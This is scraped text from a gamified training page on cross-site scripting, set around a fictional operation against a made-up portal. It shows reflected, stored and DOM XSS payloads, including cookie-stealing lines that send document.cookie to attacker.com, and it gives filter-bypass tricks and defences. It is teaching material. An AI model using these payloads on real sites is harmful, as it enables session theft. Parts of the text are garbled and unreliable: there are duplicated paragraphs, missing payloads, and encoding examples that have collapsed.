«
‹
HACKAACADEMY
OP-02 // OPERATION PHANTOM SCRIPT // CROSS-SITE SCRIPTING
0
XP
R1
RANK
0%
DETECT
↻
RESET
In Operation Blackout, Shadow exploited a SQL injection flaw in the NEXUS login portal — a crafted quote bypassed authentication and the full credentials database was extracted. MENDAX confirmed the dump and flagged the next attack vector.
CAMPAIGN 3 — OPERATION PHANTOM SCRIPT
WEB INJECTION // TARGET: NEXUS SOCIAL ENGINEERING DIVISION
02
OWASP TOP 10 #3 — A03:2021
CROSS-SITE SCRIPTING
REFLECTED // STORED // DOM-BASED // COOKIE THEFT
OPERATION PHANTOM SCRIPT
📡
SITUATION REPORT
CLASSIFIEDThe Syndicate has activated PHANTOM — its social-engineering cell, fronted by Vantage Systems and run out of an Amsterdam bulletproof host. They have laced malicious JavaScript into a government contractor portal used by officials from 9 allied nations ahead of the G9 summit. Every time an official loads the poisoned page, their session token is quietly siphoned to the Syndicate.
SPECTER, PHANTOM's commander, believes the browser is a sealed sandbox. He's wrong. If the Syndicate can put text on a page, they can put code on a page. And code runs. We are going to prove exactly how — then turn it off.
SPECTER, PHANTOM's commander, believes the browser is a sealed sandbox. He's wrong. If the Syndicate can put text on a page, they can put code on a page. And code runs. We are going to prove exactly how — then turn it off.
THE POISONED NOTICE BOARD
10-YEAR-OLD LEVEL
Imagine a public notice board in a school. Anyone is allowed to post messages on it. Students read the messages directly from the board. At first, this is harmless.
But there is a hidden problem. The board does not understand the difference between a normal message and a message that contains hidden instructions meant to influence whoever reads it. It simply displays everything exactly as written.
Now imagine someone clever posts a message that looks harmless on the surface. But inside it are hidden instructions that change how readers behave when they see it.
When students read the message, their systems do not treat it as just words. They treat parts of it as something that must be followed automatically. And suddenly, a simple message becomes something that acts on the reader without their awareness.
But there is a hidden problem. The board does not understand the difference between a normal message and a message that contains hidden instructions meant to influence whoever reads it. It simply displays everything exactly as written.
Now imagine someone clever posts a message that looks harmless on the surface. But inside it are hidden instructions that change how readers behave when they see it.
When students read the message, their systems do not treat it as just words. They treat parts of it as something that must be followed automatically. And suddenly, a simple message becomes something that acts on the reader without their awareness.
If a website shows your comment without filtering it — and you write JavaScript instead of normal text — whose computer runs that code?
INTERCEPTED — SPECTER COMMS
02:14 UTC
SPECTER
"The portal only displays text. JavaScript cannot execute through a comment field. The browser is a sealed environment — no outsider injects code into my pages."
MENDAX
Shadow — SPECTER just told us exactly how he loses. The browser runs whatever the page hands it; it can't tell his text from ours. We don't break into the portal — we let the portal carry our payload to every official who opens it.
▶ MISSION OBJECTIVES
01
Execute a reflected XSS payload in NEXUS's search endpoint — prove the injection point
02
Bypass SPECTER's script-tag filter using an event-handler payload — no <script> tag needed
03
Plant a stored XSS cookie-theft payload in the forum — silently harvest session tokens
04
Identify the correct fix — what actually stops XSS permanently
⚖️
ETHICAL NOTICE: XSS is covered by CEH, OSCP, and every cybersecurity certification. All interactions here are simulated against fictional infrastructure. Never use these techniques on real systems without explicit written authorisation.
🔧 UNDER THE HOOD▼
THE ATTACK — STEP BY STEP
Stored XSS: inject a script tag into a field that gets saved and displayed to other users:
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Reflected XSS via URL parameter — send the victim a crafted link:https://victim.com/search?q=<script>fetch('https://attacker.com/?x='+btoa(document.cookie))</script>
DOM-based XSS — the browser executes it with no server involvement:// Vulnerable code:
document.getElementById('output').innerHTML = location.hash.substring(1);
// Attack URL: victim.com/page#<img src=x onerror=alert(1)>
COMMON VARIATIONS
1. Event-handler injection — works when angle brackets are filtered:
<img src=x onerror="this.src='https://attacker.com/?c='+document.cookie">
2. SVG-based XSS — SVG files execute JavaScript on some hosts:<svg onload=alert(document.domain)>
3. Template injection — when user input lands inside a template literal rendered with innerHTML:// Vulnerable: `Hello ${userInput}` set via innerHTML
// Payload: <img src=x onerror=alert(1)>
HOW TO DEFEND
Never use
innerHTML with user data — use textContent instead:// WRONG:
element.innerHTML = userInput;
// RIGHT:
element.textContent = userInput;
For rich HTML, sanitize with DOMPurify before setting innerHTML:import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
Add a Content Security Policy header to block inline scripts even if injection occurs:Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
TARGET
nexus-forum.ghost-capital.int
IP ADDRESS
10.47.0.23
OS / WEB SERVER
Ubuntu 22.04 · nginx/1.18.0
KEY SERVICES
PHP/8.1.12 · Redis/7.0
ATTACK SCOPE
/var/www/html/forum/* — session cookies in scope
ATTACKER NODE
shadow@sigma9 · 10.99.0.1
📋 ROOM TASKS
01
✓
Understand why unescaped HTML enables XSS
02
▶
Plant stored XSS to steal session cookies
03
○
Classify safe vs dangerous input types
04
○
Identify the output-encoding fix
05
○
Submit the capture-the-flag token
CAPTURE THE FLAG
Complete the exploit lab. The flag appears in the terminal output. Copy and submit it here for +50 XP.
PHASE 01
REFLECTED XSS — CHOOSE PAYLOAD
CHOOSE PAYLOAD
SIGMA-9 CAPTURE LOG — HOW WE FOUND IT
02:47 UTC
> fuzzing nexus.int/search — submitting a probe string <b>xss</b> in the q param
> response renders: You searched for: <b>xss</b> — came back as bold, not text
> FOUND: input reflected into the page unescaped — the browser parses our tags
MENDAX: "Shadow — my marker came back rendered, not printed. If it'll run a <b> tag, it'll run a script. Watch."
MENDAX — HOW THIS IS ACTUALLY DONE
LIVE
MENDAX
I send the param a payload that fires on its own — an image with a broken src, so the onerror handler runs the instant the page loads:
$ curl "https://nexus.int/search?q=
"
# server echoes our payload straight into the HTML body
<div>You searched for: <img src=x onerror=alert(document.cookie)></div>
MENDAX
It came back un-escaped — the victim's browser will execute it. Swap the alert for a beacon and their session cookie flies to me:
payload:
# on my listener: GET /c?session=a91f... ← stolen, no password needed
MENDAX
The whole trick is that the page renders our tag instead of printing it — the fix is one habit: encode output so
< becomes < and the browser prints our tag instead of running it. We'll wire that defense in later. For now: which payload does the browser actually execute?MENDAX
ENCRYPTED
The NEXUS contractor portal has a search box. Whatever you type appears in the results page: "You searched for: [INPUT]". No filtering. The browser renders it as HTML.
SPECTER believes text is just text. Prove him wrong. If the browser renders your input as HTML — it will also execute it as JavaScript.
A reflected XSS payload bounces off the server straight back into the victim's browser. Choose the correct payload to make the browser execute your code.
SPECTER believes text is just text. Prove him wrong. If the browser renders your input as HTML — it will also execute it as JavaScript.
A reflected XSS payload bounces off the server straight back into the victim's browser. Choose the correct payload to make the browser execute your code.
▶ SELECT THE XSS PAYLOAD
💡 MENDAX — HINT (−20 XP)
SPECTER's filter blocks
<script> tags. But JavaScript can run from many HTML tags — not just script. Which option uses an image tag with an event handler to run code when the image fails to load? Look for onerror.✓
XSS CONFIRMED — PAYLOAD EXECUTED IN BROWSER
The browser tried to load image
In simple terms: We didn't attack the server. We attacked the page. The server sent our code to the victim's browser, and the browser ran it — because the browser trusts whatever the page tells it to do.
SPECTER's fatal assumption: blocking
src=x. It failed. The onerror event fired. Our JavaScript ran — inside the victim's browser, with full access to their session.In simple terms: We didn't attack the server. We attacked the page. The server sent our code to the victim's browser, and the browser ran it — because the browser trusts whatever the page tells it to do.
SPECTER's fatal assumption: blocking
<script> tags stops XSS. There are over 100 event handlers in HTML that can run JavaScript. Blocking one tag stops nothing.
Real-world impact: The 2005 Samy worm spread via stored XSS on MySpace — 1 million accounts infected in 20 hours. One user planted one payload. Every visitor became a carrier.
PHASE 02
FILTER BYPASS — STEAL THE COOKIE
TERMINAL
SPECTER patched the obvious tag. The forum comment box is still wide open. Reflected XSS needs a victim to click a link — stored XSS poisons the page itself, attacking every official who reads it.
MENDAX
ENCRYPTED
SPECTER just deployed a filter blocking
We are going to plant a stored XSS payload — one that steals the session cookie of every official who reads the forum. A cookie is like a temporary ID badge. Steal it and you become them.
Think of document.cookie like a filing cabinet in the browser. Our code opens the cabinet, reads every badge, and mails them to us.
⚠️ SPECTER is watching the logs. Type the commands in order:
<script> tags. But the forum comment box is still unfiltered for other HTML tags.We are going to plant a stored XSS payload — one that steals the session cookie of every official who reads the forum. A cookie is like a temporary ID badge. Steal it and you become them.
Think of document.cookie like a filing cabinet in the browser. Our code opens the cabinet, reads every badge, and mails them to us.
⚠️ SPECTER is watching the logs. Type the commands in order:
probe → craft payload → inject → confirm
▶ NEXUS OMEGA PORTAL — FORUM COMMENT BOX LIVE
Target: comment[body] — HTML rendering confirmed, <script> filter active
Commands: probe | craft payload | inject | confirm
shadow@nexus:~$ █
Target: comment[body] — HTML rendering confirmed, <script> filter active
Commands: probe | craft payload | inject | confirm
shadow@nexus:~$ █
shadow@nexus:~$
💡 MENDAX — ACTIVE HINT
Type probe to confirm the comment box renders HTML. Then craft payload to build the cookie-stealing script. Then inject to plant it. Then confirm to see the stolen tokens arrive.
✓
STORED XSS PLANTED — SESSION TOKENS INCOMING
Payload stored in forum. Every official who loads the page executes our script. Their
Simple version: We left a trap on the notice board. Every person who reads it automatically sends us their ID badge. They see a normal forum post. We see their session token arrive in our logs.
Why stored XSS is more dangerous than reflected: Reflected needs the victim to click a link. Stored attacks everyone who visits the page — automatically, permanently, until someone removes it.
document.cookie is sent to our capture server.Simple version: We left a trap on the notice board. Every person who reads it automatically sends us their ID badge. They see a normal forum post. We see their session token arrive in our logs.
Why stored XSS is more dangerous than reflected: Reflected needs the victim to click a link. Stored attacks everyone who visits the page — automatically, permanently, until someone removes it.
Real impact: The 2005 Samy worm used stored XSS on MySpace. One payload. 1 million accounts infected in 20 hours. SPECTER's forum has 2,847 active sessions.
PHASE 03
CLASSIFY THE INPUTS — SAFE OR DANGEROUS?
DRAG & SORT
Payload planted. Now map the whole surface. Not every field is dangerous — knowing which inputs can carry code and which can't is what separates a script kiddie from an operator.
MENDAX
ENCRYPTED
SPECTER's team is reviewing the portal's input validation. They think some inputs are safe and some are dangerous — but they can't tell which.
MENDAX: "Shadow — sort these inputs. Drag each one to SAFE if it can't cause XSS, or DANGEROUS if it can execute JavaScript in a browser."
Think like the browser: would it try to run any of this as code? Plain text is always safe. Anything that looks like an HTML tag or event handler is dangerous — if the site doesn't filter it.
Get them all right to proceed.
MENDAX: "Shadow — sort these inputs. Drag each one to SAFE if it can't cause XSS, or DANGEROUS if it can execute JavaScript in a browser."
Think like the browser: would it try to run any of this as code? Plain text is always safe. Anything that looks like an HTML tag or event handler is dangerous — if the site doesn't filter it.
Get them all right to proceed.
▶ TAP AN INPUT — THEN TAP A BUCKET
Tap an input chip to select it, then tap SAFE or DANGEROUS to classify it.
✓ SAFE
✗ DANGEROUS
✓
ALL INPUTS CLASSIFIED — XSS SURFACE MAPPED
Perfect classification. You can now identify dangerous inputs on sight.
Simple version: Safe inputs are just text — the browser displays them. Dangerous inputs contain HTML or JavaScript — the browser executes them. The difference is whether the site treats your input as data or code.
The rule: Never trust user input. Always encode output.
Simple version: Safe inputs are just text — the browser displays them. Dangerous inputs contain HTML or JavaScript — the browser executes them. The difference is whether the site treats your input as data or code.
The rule: Never trust user input. Always encode output.
< should become < before it touches the page — then the browser shows the tag as text instead of running it.
Why encoding works: HTML encoding converts dangerous characters into safe display versions.
<script> becomes <script> — the browser shows it as text, never executes it.PHASE 04
THE FIX — CLOSE THE DOOR
DEFENSE
Reflected, stored, DOM-based — three attack shapes, one root cause. Identify the single defence that closes every door simultaneously, and PHANTOM's client-side infrastructure is burned for good.
MENDAX — DEBRIEF
FINAL PHASE
PHANTOM is neutralised. SPECTER's portal is in our hands.
MENDAX: "Shadow — one last thing. SPECTER's CISO is proposing a fix to the board right now. Which single defence actually stops all three XSS types you used today? SPECTER blocked
MENDAX: "Shadow — one last thing. SPECTER's CISO is proposing a fix to the board right now. Which single defence actually stops all three XSS types you used today? SPECTER blocked
<script> tags and it failed. Pick the fix that actually works."▶ WHICH DEFENCE STOPS ALL THREE XSS TYPES?
💡 MENDAX — HINT (−20 XP)
Think about WHY XSS works: user input is placed into the page without being converted to safe text first. A fix that converts every dangerous character before it touches the page stops ALL types — regardless of which tag or event handler the attacker uses. Blocking specific tags is a blacklist. What converts dangerous characters universally?
► INTEL — OP-02 // OPERATION PHANTOM SCRIPT
TARGET: NEXUS Public Portal — Comment Section & Search
Classification: TOP SECRET // Campaign 3 Ghost Protocol
MENDAX — CHANNEL BRIEFING
PRE-OP
MENDAX
NEXUS allows user-submitted HTML in comments and reflects search terms without encoding. Any visitor who loads an infected page runs your script.
📓
OWASP CLASSIFICATION
INTELA03:2021 — XSS occurs when untrusted data is sent as part of the HTML page without validation or escaping. Reflected: injected in response. Stored: persisted in DB. DOM-based: executed in browser JS.
⚖
GLOSSARY TERMS: XSS, Reflected XSS, Stored XSS, DOM XSS, Cookie Theft, Content Security Policy. All terms auto-logged to your Field Manual as you encounter them.
▶ ACADEMY — CROSS-SITE SCRIPTING (XSS)
WEBSITES DISPLAY WHAT YOU TYPE.
XSS MAKES THEM RUN WHAT YOU TYPE.
XSS MAKES THEM RUN WHAT YOU TYPE.
Three levels of depth — start at Beginner, go as deep as you want.
BEGINNER
What Is Cross-Site Scripting?
›
Websites display what you type. Comments, search results, usernames — your text appears on the page. XSS happens when a website displays your text without checking if it contains code.
Browsers trust everything on the page. If the page says "run this JavaScript" — the browser runs it. It can't tell if that JavaScript came from the website's developers or from an attacker who slipped it into a comment box.
The three types:
• Reflected XSS — your payload bounces off the server straight into the victim's browser via a link
• Stored XSS — your payload is saved to the database and runs for every visitor automatically
• DOM XSS — your payload manipulates the page structure in the browser without ever hitting the server
Browsers trust everything on the page. If the page says "run this JavaScript" — the browser runs it. It can't tell if that JavaScript came from the website's developers or from an attacker who slipped it into a comment box.
The three types:
• Reflected XSS — your payload bounces off the server straight into the victim's browser via a link
• Stored XSS — your payload is saved to the database and runs for every visitor automatically
• DOM XSS — your payload manipulates the page structure in the browser without ever hitting the server
Real world: The 2005 Samy worm — stored XSS on MySpace. One user. One payload. 1 million accounts infected in 20 hours. It was the fastest-spreading virus in history at the time.
INTERMEDIATE
How the Query Gets Broken
›
Reflected XSS chain:
1. Attacker crafts URL:
2. Victim clicks the link
3. Server reflects input back: You searched for: <img src=x onerror=alert(1)>
4. Browser renders it — image fails — onerror fires — code executes
Stored XSS chain:
1. Attacker posts payload in comment/forum/profile
2. Server stores raw payload in database
3. Every user who loads the page — browser executes the stored payload
Common bypass techniques when <script> is blocked:
•
•
• Case mixing:
1. Attacker crafts URL:
https://site.com/search?q=<img src=x onerror=alert(1)>2. Victim clicks the link
3. Server reflects input back: You searched for: <img src=x onerror=alert(1)>
4. Browser renders it — image fails — onerror fires — code executes
Stored XSS chain:
1. Attacker posts payload in comment/forum/profile
2. Server stores raw payload in database
3. Every user who loads the page — browser executes the stored payload
Common bypass techniques when <script> is blocked:
•
<img onerror> • <svg onload> • <body onpageshow>•
<a href="javascript:..."> • <input autofocus onfocus>• Case mixing:
<ScRiPt> • Double encoding: %3Cscript%3E
EXPERT
Edge Cases, WAF Bypass, CVEs
›
DOM-based XSS: Payload never reaches the server. JavaScript on the page reads attacker-controlled data (URL hash, localStorage) and writes it to the DOM unsafely.
Content Security Policy (CSP): HTTP header that tells the browser which scripts are allowed to run.
Framework behaviour:
• React: JSX encodes by default.
• Angular: interpolation
• Vue:
Notable CVEs:
• CVE-2021-22119 — Spring Security XSS, CVSS 7.5
• CVE-2020-11022 — jQuery XSS via
• CVE-2019-11358 — jQuery prototype pollution leading to XSS
document.getElementById('out').innerHTML = location.hash.slice(1); → navigate to #<img onerror=alert(1)>Content Security Policy (CSP): HTTP header that tells the browser which scripts are allowed to run.
Content-Security-Policy: script-src 'self' blocks all inline scripts. Strong mitigation — but misconfigurations are common.Framework behaviour:
• React: JSX encodes by default.
dangerouslySetInnerHTML bypasses this — never use with user input• Angular: interpolation
{{ }} is safe. [innerHTML] binding is not• Vue:
v-html directive is dangerous — sanitise before useNotable CVEs:
• CVE-2021-22119 — Spring Security XSS, CVSS 7.5
• CVE-2020-11022 — jQuery XSS via
html() method• CVE-2019-11358 — jQuery prototype pollution leading to XSS
British Airways 2018: Stored XSS led to a payment skimmer on the checkout page. 500,000 customers' card details stolen. £20 million GDPR fine.
▶ REAL-WORLD TOOLS — XSS
WHAT PROFESSIONALS USE
Every tool here is free, legal, and used in real penetration tests.
⚡
XSStrike
FREE / OPEN SOURCE
Advanced XSS scanner with intelligent payload generation, WAF detection, and fuzzer. Finds reflected and DOM XSS automatically. More thorough than basic scanners for filter bypass.
python3 xsstrike.py -u "http://target/search?q=test"
🔎
Burp Suite — DOM Invader
FREE (browser extension)
Burp's built-in DOM XSS tool. Automatically tracks tainted data flows from sources (URL, cookie) to sinks (innerHTML, eval). Finds DOM XSS that scanners miss.
Burp Browser → DOM Invader → Enable → Browse target → Check findings
🪝
XSS Hunter
FREE
Blind XSS platform. Plant a payload that phones home when it executes — captures screenshots, cookies, DOM, and page URL. Essential for finding stored XSS in admin panels you can't access directly.
Register at xsshunter.com → Use your unique payload in input fields
🛡️
OWASP ZAP
FREE / OPEN SOURCE
Full web scanner. Active scan checks all inputs for reflected XSS. Passive scan detects missing security headers like CSP and X-XSS-Protection.
Active Scan → Injection → Cross Site Scripting → View alerts